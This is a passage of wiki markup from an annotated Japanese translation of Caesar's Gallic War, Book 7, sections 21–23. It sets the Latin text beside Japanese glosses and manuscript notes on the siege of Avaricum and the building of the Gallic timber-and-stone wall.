*quod facere in eo [[wikt:en:consuerunt#Verb_2|consuerunt]], cuius [[wikt:en:oratio#Latin|orationem]] [[wikt:en:adprobant#Latin|adprobant]]; 
**&lt;small&gt;（演説した）&lt;/small&gt;その者の雄弁に賛同したら、その者に対してそれをすることが常であったのだ。
*summum esse [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:dux#Latin|ducem]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は最高の将帥であり、
*&lt;u&gt;nec&lt;/u&gt; de eius [[wikt:en:fides#Latin|fide]] [[wikt:en:dubitandus#Latin|dubitandum]], 
**彼の信義については疑念を抱くべきではなく、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:nec#Latin|nec]] ～, nec …「～でもないし、…でもない」）&lt;/span&gt;
*&lt;u&gt;nec&lt;/u&gt; [[wikt:en:maior#Latin|maiore]] [[wikt:en:ratio#Latin|ratione]] bellum [[wikt:en:administrari#Latin|administrari]] posse. 
**これ以上の作戦で戦争を指導することはできない&lt;small&gt;（と、叫んで武具を打ち鳴らす）&lt;/small&gt;。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:statuunt#Latin|Statuunt]], ut decem&lt;sub&gt;&amp;nbsp;(X)&lt;/sub&gt; milia hominum [[wikt:en:delectus#Latin|delecta]] ex omnibus [[wikt:en:copiae#Latin|copiis]] in oppidum &lt;u&gt;mittantur&lt;/u&gt;,  
**&lt;small&gt;（彼らは）&lt;/small&gt;すべての軍勢から選り抜かれた兵員1万を&lt;small&gt;（アウァーリクムの）&lt;/small&gt;[[w:オッピドゥム|城塞都市]]の中に派遣すると決定する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:mittantur#Latin|mittantur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:submittantur#Latin|submittantur]] となっている。）&lt;/span&gt;
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; nec [[wikt:en:solus#Latin|solis]] [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:communis#Latin|communem]] [[wikt:en:salus#Latin|salutem]] [[wikt:en:committendus#Latin|committendam]] [[wikt:en:censent#Latin|censent]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の安全をビトゥリゲース族だけに託すべきではないと考える。
*quod &lt;u&gt;penes eos&lt;/u&gt;, si id oppidum [[wikt:en:retinuissent#Latin|retinuissent]], 
**というのは、&lt;u&gt;彼らのもとで&lt;/u&gt;、その城塞都市を維持したか否かが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　主要写本&amp;omega; では [[wikt:en:penes#Latin|penes]] eos 「彼らのもとで」だが、&lt;br&gt;　　　　オックスフォード写本 ''[[ガリア戦記/注解編/写本と校訂版#Codex_Oxoniensis_Andino|codd. Andino. Oxon.]]'' や ''[[ガリア戦記/注解編/写本と校訂版#Aldus|Aldus]]'' は paene in eo 「ほぼそのことにおいて」としている。）&lt;/span&gt;
*[[wikt:en:summa#Latin|summam]] victoriae [[wikt:en:consto#Latin|constare]] [[wikt:en:intellegebant#Latin|intellegebant]].
**勝利の天王山を確かなものにすること、を理解していたからである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===22節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/22節]]　{{進捗|00%|2026-06-01}}&lt;/span&gt;
;アウァーリクムの籠城ガッリア勢が坑道戦で攻防に努める
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:singularis#Latin|Singulari]] [[wikt:en:miles#Latin|militum]] nostrorum [[wikt:en:virtus#Latin|virtuti]] 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の兵士の卓越した武勇に、
*[[wikt:en:consilium#Latin|consilia]] [[wikt:en:quisque#Latin|cuiusque]] [[wikt:en:modus#Latin|modi]] [[wikt:en:Galli#Latin|Gallorum]] [[wikt:en:occurrebant#Latin|occurrebant]], 
**&lt;small&gt;（敵勢は）&lt;/small&gt;ガッリア人のあらゆる流儀の方策で抗戦していた。
*ut est summae [[wikt:en:genus#Latin|genus]] [[wikt:en:sollertia#Latin|sollertiae]] 
**確かに&lt;small&gt;（ガッリア人は）&lt;/small&gt;このうえなく器用な種族であり、
*atque ad [[wikt:en:omnia#Noun|omnia]] [[wikt:en:imitandus#Latin|imitanda]] et [[wikt:en:efficiendus#Latin|efficienda]], quae ab [[wikt:en:quisque#Latin|quoque]] [[wikt:en:traduntur#Latin|traduntur]], [[wikt:en:aptissimus#Latin|aptissimum]]. 
**誰かによって教えられることすべてを模倣すること、造り出すことにとても適しているのだ。
:　
;　　　鉄鉱山の土地柄で、坑道戦を展開する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Nam &lt;u&gt;et&lt;/u&gt; [[wikt:en:laqueus#Latin|laqueis]] [[wikt:en:falx#Latin|falces]] [[wikt:en:avertebant#Latin|avertebant]], 
**すなわち、輪縄で&lt;small&gt;（ローマ勢の）&lt;/small&gt;破城鎌をそらし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～, et …「～でもあり、…でもある」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：破城鎌（[[w:en:Falx|falx]]）については、右図や[[ガリア戦記 第5巻#42節|第5巻42節]]を参照）&lt;/span&gt;
[[画像:Falx_bgiu.png|thumb|right|250px|破城鎌（[[w:en:Falx|falx]]）の想像画（再掲）]] 
[[画像:Doura_Europos_tunnel.jpg|thumb|right|250px|ローマ支配下の城砦跡に残る[[w:坑道|坑道]]の例（シリアの[[w:ドゥラ・エウロポス|ドゥラ・エウロポス]]遺跡）。[[w:サーサーン朝|サーサーン朝]]軍が[[w:坑道戦|坑道戦]]のために掘削したと考えられている。]]
*quas, cum [[wikt:en:destinaverant#Latin|destinaverant]], 
**それを縛り付けておいてから、
*[[wikt:en:tormentum#Latin|tormentis]] [[wikt:en:introrsus#Latin|introrsus]] [[wikt:en:reducebant#Latin|reducebant]], 
**巻揚げ機で&lt;small&gt;（城塞都市の）&lt;/small&gt;内部に引き込んでいたし、
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:agger#Latin|aggerem]] [[wikt:en:cuniculus#Latin|cuniculis]] [[wikt:en:subtrahebant#Latin|subtrahebant]], 
**&lt;small&gt;（ローマ勢の）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を[[w:坑道|坑道]]によって陥没させたりもした。
*&lt;u&gt;eo&lt;/u&gt; [[wikt:en:scienter#Latin|scientius]] 
**&lt;small&gt;（以下の理由により、彼らはそのことに）&lt;/small&gt;より習熟しているのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:eo#Pronoun_5|eō]] ～ [[wikt:en:quod#Conjunction|quod]] …「…という理由で～」）&lt;/span&gt;
*&lt;u&gt;quod&lt;/u&gt; apud eos magnae sunt [[wikt:en:ferraria#Latin|ferrariae]] 
**──というのも、彼らのもとには多くの[[w:鉄鉱石|鉄鉱]]山があり、
*atque [[wikt:en:omnis#Latin|omne]] [[wikt:en:genus#Latin|genus]] [[wikt:en:cuniculus#Latin|cuniculorum]] [[wikt:en:notus#Latin|notum]] 
**坑道のあらゆる類いが知られていて
*atque [[wikt:en:usitatus#Latin|usitatum]] est. 
**慣れていただけに&lt;small&gt;（習熟しているのだ）&lt;/small&gt;。──
:　
;　　　アウァーリクムの全周に防御のための櫓を建てる
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:totus#Latin|Totum]] autem [[wikt:en:murus#Latin|murum]] ex omni parte 
**他方で、城壁の全体をあらゆる方向から、
*[[wikt:en:turris#Latin|turribus]] [[wikt:en:contabulaverant#Latin|contabulaverant]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;small&gt;（何層にも）&lt;/small&gt;構築しておいて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：動詞 [[wikt:en:contabulo#Latin|contabulare]] は「板張りする」。[[内乱記_第2巻#9節|『内乱記』第2巻9節]]には [[wikt:en:contabulatio#Latin|contabulatio]]「床板張り」という単語が出て来る。）&lt;/span&gt;
*atque has [[wikt:en:corium#Latin|coriis]] [[wikt:en:intexerant#Latin|intexerant]]. 
**これらを皮革で覆っていた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Tum [[wikt:en:creber#Latin|crebris]] [[wikt:en:diurnus#Latin|diurnis]] [[wikt:en:nocturnus#Latin|nocturnis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:eruptio#Latin|eruptionibus]] 
**それから、たびたび昼間も夜間も出撃して、
*aut [[wikt:en:agger#Latin|aggeri]] [[wikt:en:ignis#Latin|ignem]] [[wikt:en:inferebant#Latin|inferebant]] 
**あるいは土塁に火災を引き起こしたり、
*aut [[wikt:en:miles#Latin|milites]] [[wikt:en:occupatus#Latin|occupatos]] in [[wikt:en:opus#Latin|opere]] [[wikt:en:adoriebantur#Latin|adoriebantur]], 
**あるいは工事に従事している&lt;small&gt;（ローマ人）&lt;/small&gt;兵士たちを襲撃したりした。
[[画像:University_of_Queensland_Pitch_drop_experiment-white_bg.jpg|thumb|right|200px|&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の滴下実験の様子（豪州[[w:クイーンズランド大学|クイーンズランド大学]]）。[[w:木材|木材]]を密閉加熱すると[[w:木炭|木炭]]が得られるが、その残り物から[[w:乾留液#木タール|木タール]]を[[w:蒸留|蒸留]]させた残り&lt;ruby&gt;&lt;rb&gt;滓&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かす&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;がピッチである。樹木から得られるピッチは、黒色で[[w:粘度|粘っこく]]、高温で燃焼する。中世ヨーロッパでは城砦の防衛に使用され、城壁に近づく敵の上から熱したピッチを注いで焼死させたりしたという（[[w:fr:Poix (matière)|fr:poix]]）。]]
*et nostrarum [[wikt:en:turris#Latin|turrium]] [[wikt:en:altitudo#Latin|altitudinem]], 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の[[w:攻城塔|攻城櫓]]の高さを、
*[[wikt:en:quantum#Latin|quantum]] has [[wikt:en:cotidianus#Latin|cotidianus]] agger [[wikt:en:expresserat#Latin|expresserat]], 
**毎日のようにこれらを&lt;small&gt;（ローマ側の）&lt;/small&gt;土塁が押し出した分だけ、
*[[wikt:en:commissus#Latin|commissis]] suarum [[wikt:en:turris#Latin|turrium]] [[wikt:en:malus#Noun_5|malis]] [[wikt:en:adaequabant#Latin|adaequabant]], 
**自分たち&lt;small&gt;〔ガッリア勢〕&lt;/small&gt;の櫓を、柱を組み立てることにより、&lt;small&gt;（ローマ側の櫓の高さと）&lt;/small&gt;等しくしようとした。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; et [[wikt:en:apertus#Latin|apertos]] [[wikt:en:cuniculus#Latin|cuniculos]] 
**&lt;small&gt;（ローマ勢が掘削した）&lt;/small&gt;坑道の露出したところを
*[[wikt:en:praeustus#Latin|praeusta]] et [[wikt:en:praeacutus#Latin|praeacuta]] [[wikt:en:materia#Latin|materia]] 
**先端を焼いて尖らせた木材や、
*et [[wikt:en:pix#Latin|pice]] [[wikt:en:fervefactus#Latin|fervefacta]] 
**熱した&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：pix は&lt;ruby&gt;&lt;rb&gt;[[w:歴青|瀝青]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れきせい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と訳されることもあるが、とくに[[w:ピッチ (樹脂)|ピッチ]]を指す&lt;ref&gt;[https://kotobank.jp/word/%E6%9C%A8%E3%81%9F%E3%83%BC%E3%82%8B-3173189 木タール] などを蒸留したあとに残る黒色の物質。&lt;/ref&gt;。&lt;br&gt;　　　　[[w:歴青|瀝青]]は「ビチューメン」ともいい、ラテン語の [[wikt:en:bitumen#Latin|bitūmen]] に由来する。&lt;br&gt;　　　　[[w:ピッチ (樹脂)|ピッチ]]（[[w:en:Pitch (resin)|Pitch]]）は、ラテン語の [[wikt:en:pix#Latin|pix]] に由来する。）&lt;/span&gt;
*et [[wikt:en:maximus#Latin|maximi]] [[wikt:en:pondus#Latin|ponderis]] [[wikt:en:saxum#Latin|saxis]] [[wikt:en:morabantur#Etymology_1|morabantur]] 
**たいへんな重さの岩石で、&lt;small&gt;（ローマ勢の掘削を）&lt;/small&gt;滞らせたり、
*[[wikt:en:moenia#Latin|moenibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:adpropinquo#Latin|adpropinquare]] [[wikt:en:prohibebant#Latin|prohibebant]].
**&lt;small&gt;（ローマ勢が）&lt;/small&gt;城壁に接近することを&lt;small&gt;（ガッリア勢が）&lt;/small&gt;妨げたりしていた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===23節===
{{Commons|Category:Murus gallicus|Murus gallicus}}
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/23節]]　{{進捗|00%|2026-06-14}}&lt;/span&gt;

;ガッリア式城壁の構造
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:murus#Latin|Muri]] autem omnes [[wikt:en:Gallicus#Latin|Gallici]] hac fere [[wikt:en:forma#Latin|forma]] sunt. 
**ところで、ガッリアの&lt;ruby&gt;&lt;rb&gt;城壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;のすべては、ほぼ以下のような形態である。
:　
;　　　木材を2ペースずつ等間隔で離して、ずっと並べていく
*&lt;u&gt;Trabes&lt;/u&gt; [[wikt:en:derectus#Latin|derectae]] [[wikt:en:perpetuus#Latin|perpetuae]] &lt;u&gt;in longitudinem&lt;/u&gt; 
**&lt;u&gt;&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;/u&gt;が&lt;small&gt;（城壁の）&lt;/small&gt;&lt;u&gt;&lt;ruby&gt;&lt;rb&gt;長手方向&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ロンギトゥードー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;/u&gt;に、&lt;small&gt;（垂直に）&lt;/small&gt;真っ直ぐに、ずっと続いて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:trabs#Latin|trabes]] は、とくに梁のような水平材を指していると思われる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in [[wikt:en:longitudo#Latin|longitudinem]] は、ここでは、城壁に沿った長手方向を指す。）&lt;/span&gt;
[[画像:Murus gallicus de Lyon Fourvière - Maquette de Nicolas Hirsch - Service Archéologique de la Ville de Lyon - Détail structure.jpg|thumb|right|300px|ガッリア式城壁の[[w:ジオラマ|ジオラマ]]（仏[[w:リヨン|リヨン市]]考古学局）。木材を約60cmの間隔で並べる。]]
*[[wikt:en:par#Latin|paribus]] [[wikt:en:intervallum#Latin|intervallis]], [[wikt:en:distans#Latin|distantes]] inter se [[wikt:en:binus#Latin|binos]] [[wikt:en:pes#Latin|pedes]], 
**等間隔で、互いに2&lt;u&gt;ペース&lt;/u&gt;ずつ離れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、2ペースは約60 cm弱。）&lt;/span&gt;
*in [[wikt:en:solum#Latin|solo]] [[wikt:en:conlocantur#Latin|conlocantur]]. 
**&lt;ruby&gt;&lt;rb&gt;地面&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ソルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に配置される。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：右の画像を参照。）&lt;/span&gt;
:　
;　　　木材をつなぎ合わせ、土砂を埋めて、石材をかぶせる
[[画像:2018 Rheinisches Landesmuseum Trier, Keltischer Wehrmauer.jpg|thumb|right|300px|同じく城壁のジオラマ（独[[w:トリーア|トリーア市]]）。]]
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:hae#Latin|Hae]] [[wikt:en:revinciuntur#Latin|revinciuntur]] [[wikt:en:introrsus#Latin|introrsus]] 
**これら&lt;small&gt;〔木材〕&lt;/small&gt;は、内側で緊結されて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：明瞭な説明ではなく、肝心な記述が欠落している。&lt;br&gt;　　　　上記の2ペースずつ等間隔で並べられた平行な木材は、&lt;br&gt;　　　　節末で述べられるような40ペースの長い木材によって&lt;br&gt;　　　　井桁状に組み合わされて、鉄の釘で固定されたようである。&lt;br&gt;　　　　右上と右のジオラマの画像を参照。）&lt;/span&gt;
*et [[wikt:en:multus#Latin|multo]] [[wikt:en:agger#Latin|aggere]] [[wikt:en:vestiuntur#Latin|vestiuntur]]; 
**多くの&lt;ruby&gt;&lt;rb&gt;土砂&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で覆われる。
*ea autem, quae [[wikt:en:diximus#Verb|diximus]], [[wikt:en:intervallum#Latin|intervalla]] 
**さらに、前述した&lt;small&gt;（2ペースの）&lt;/small&gt;間隔には、
*[[wikt:en:grandis#Latin|grandibus]] in [[wikt:en:frons#Latin:_forehead|fronte]] [[wikt:en:saxum#Latin|saxis]] &lt;u&gt;efferciuntur&lt;/u&gt;. 
**前面に大きな&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が詰め込まれる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;rho;系写本･写本V では [[wikt:en:efferciuntur#Latin|efferciuntur]] と表記され、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本･写本T では [[wikt:en:effarciuntur#Latin|effarciuntur]] と表記されるが、&lt;br&gt;　　　　　　　　　[[w:母音弱化|母音弱化]]の語形である前者の方が、共和制末期のカエサルが用いたと考えられる。）&lt;/span&gt;
[[画像:Keltenmauer.gif|thumb|right|280px|ガッリア式城壁の構成図（上が側面、中が上面、下が前面）。木材を水平な井桁状に並べて[[w:釘|釘]]で緊結し、土砂で覆って何層にも重ね、前面には石をはめ込む。井桁状の骨組によって[[w:破城槌|破城槌]]など横からの力（水平荷重）に耐えられるように工夫されている。]]
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; His [[wikt:en:conlocatus#Latin|conlocatis]] et [[wikt:en:coagmentatus#Latin|coagmentatis]] 
**&lt;u&gt;これら&lt;/u&gt;が配置されて結び合わされると、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&lt;u&gt;これら&lt;/u&gt; とは、上述の木材や石材のこと。）&lt;/span&gt;
*alius [[wikt:en:insuper#Latin|insuper]] [[wikt:en:ordo#Latin|ordo]] [[wikt:en:additur#Latin|additur]], 
**上に別の&lt;ruby&gt;&lt;rb&gt;階層&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オルドー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が付け加えられる。
*ut idem illud [[wikt:en:intervallum#Latin|intervallum]] [[wikt:en:servetur#Latin|servetur]], 
**その同じ&lt;small&gt;（2ペースの）&lt;/small&gt;間隔が保たれて、
*neque inter se [[wikt:en:contingant#Latin|contingant]] [[wikt:en:trabs#Latin|trabes]], 
**かつ&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が互いに接触しないように、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上下の層の水平材どうしが接触しないように、&lt;br&gt;　　　　互い違いに並べているようである。）&lt;/span&gt;
*sed [[wikt:en:par#Latin|paribus]] [[wikt:en:intermissus#Latin|intermissae]] [[wikt:en:spatium#Latin|spatiis]] [[wikt:en:singulus#Latin|singulae]] 
**けれども、等間隔で間をあけられたそれぞれ&lt;small&gt;（の木材）&lt;/small&gt;は、
*[[wikt:en:singulus#Latin|singulis]] [[wikt:en:saxum#Latin|saxis]] [[wikt:en:interiectus#Latin|interiectis]] 
**それぞれの&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が間に挟まれることによって、
*[[wikt:en:arte#Adverb|arte]] [[wikt:en:contineantur#Latin|contineantur]]. 
**緊密に連結される。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Sic [[wikt:en:deinceps#Latin|deinceps]] omne [[wikt:en:opus#Latin|opus]] [[wikt:en:contexitur#Latin|contexitur]], [[wikt:en:dum#Latin|dum]] [[wikt:en:iustus#Latin|iusta]] [[wikt:en:murus#Latin|muri]] [[wikt:en:altitudo#Latin|altitudo]] [[wikt:en:expleatur#Latin|expleatur]]. 
**このように、&lt;ruby&gt;&lt;rb&gt;城壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の十分な高さが満たされるまで、すべての&lt;ruby&gt;&lt;rb&gt;工作物&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が続けて組み立てられる。
[[画像:Bibracte_murus_gallicus1.jpg|thumb|right|300px|ガッリア式城壁の[[w:ジオラマ|ジオラマ]]（仏[[w:ビブラクテ|ビブラクテ]]遺跡のケルト文明博物館）。この構造形式はカエサルの記述から「[[w:ムルス・ガリクス|ムルス・ガリクス]]（ガッリア壁）」と呼ばれるが、ガッリアに限らず、[[w:鉄器時代|鉄器時代]]末期すなわちBC1世紀頃の後期[[w:ラ・テーヌ文化|ラ・テーヌ文化]]が及んだ各地に遺構として残る。木材どうしを緊結するために数百トンもの[[w:鉄|鉄]]の[[w:釘|釘]]を用いているのが大きな特徴で、[[w:鉄#製錬|製鉄]]・[[w:鋳造|鋳造]]技術の発達を示す。]]
:　
;　　　ガッリア式城壁は、外観が見事で、城塞都市の防御にも有益
:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、cum ～ tum … の構文「～だけでなく、また…でもある」。）&lt;/span&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Hoc &lt;u&gt;cum&lt;/u&gt; in [[wikt:en:species#Latin|speciem]] [[wikt:en:varietas#Latin|varietatem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:opus#Latin|opus]] [[wikt:en:deformis#Latin|deforme]] non est [[wikt:en:alternus#Latin|alternis]] [[wikt:en:trabs#Latin|trabibus]] ac [[wikt:en:saxum#Latin|saxis]], 
**&lt;ruby&gt;&lt;rb&gt;この&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ホク&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;工作物&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、互い違いの&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により、変化に富む外観において不格好でなく、
*quae [[wikt:en:rectus#Latin|rectis]] [[wikt:en:linea#Latin|lineis]] suos [[wikt:en:ordo#Latin|ordines]] [[wikt:en:servant#Latin|servant]], 
**──それら&lt;small&gt;〔木材と石〕&lt;/small&gt;は真っ直ぐな線により、その&lt;ruby&gt;&lt;rb&gt;階層&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オルドー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を保っているのだが──
*&lt;u&gt;tum&lt;/u&gt; ad [[wikt:en:utilitas#Latin|utilitatem]] et [[wikt:en:defensio#Latin|defensionem]] [[wikt:en:urbs#Latin|urbium]] 
**同様に、都市の防御の有益性のためにも、
*summam [[wikt:en:habet#Latin|habet]] [[wikt:en:opportunitas#Latin|opportunitatem]], 
**きわめて好都合となっている。
*quod et ab [[wikt:en:incendio#Latin|incendio]] [[wikt:en:lapis#Latin|lapis]] et ab [[wikt:en:aries#Latin|ariete]] [[wikt:en:materia#Latin|materia]] [[wikt:en:defendit#Latin|defendit]], 
**──というのは、&lt;ruby&gt;&lt;rb&gt;石材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ラピス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が火災からも、&lt;ruby&gt;&lt;rb&gt;材木&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;マーテリア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;[[w:破城槌|破城槌]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はじょうつい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からも、防護しており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～ et …「～でもあり、…でもある」）&lt;/span&gt;
*quae [[wikt:en:perpetuus#Latin|perpetuis]] [[wikt:en:trabs#Latin|trabibus]] [[wikt:en:pes#Latin|pedes]] [[wikt:en:quadragenus#Latin|quadragenos]] [[wikt:en:plerumque#Adverb|plerumque]] [[wikt:en:introrsus#Latin|introrsus]] [[wikt:en:revinctus#Latin|revincta]] 
**それ&lt;small&gt;〔短手方向の材木〕&lt;/small&gt;は、たいてい40&lt;u&gt;ペース&lt;/u&gt;にわたって&lt;small&gt;（長手方向に）&lt;/small&gt;続く&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により内部で緊結されており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、40ペースは約12メートル。）&lt;/span&gt;
*neque [[wikt:en:perrumpi#Latin|perrumpi]] neque [[wikt:en:distrahi#Latin|distrahi]] potest.
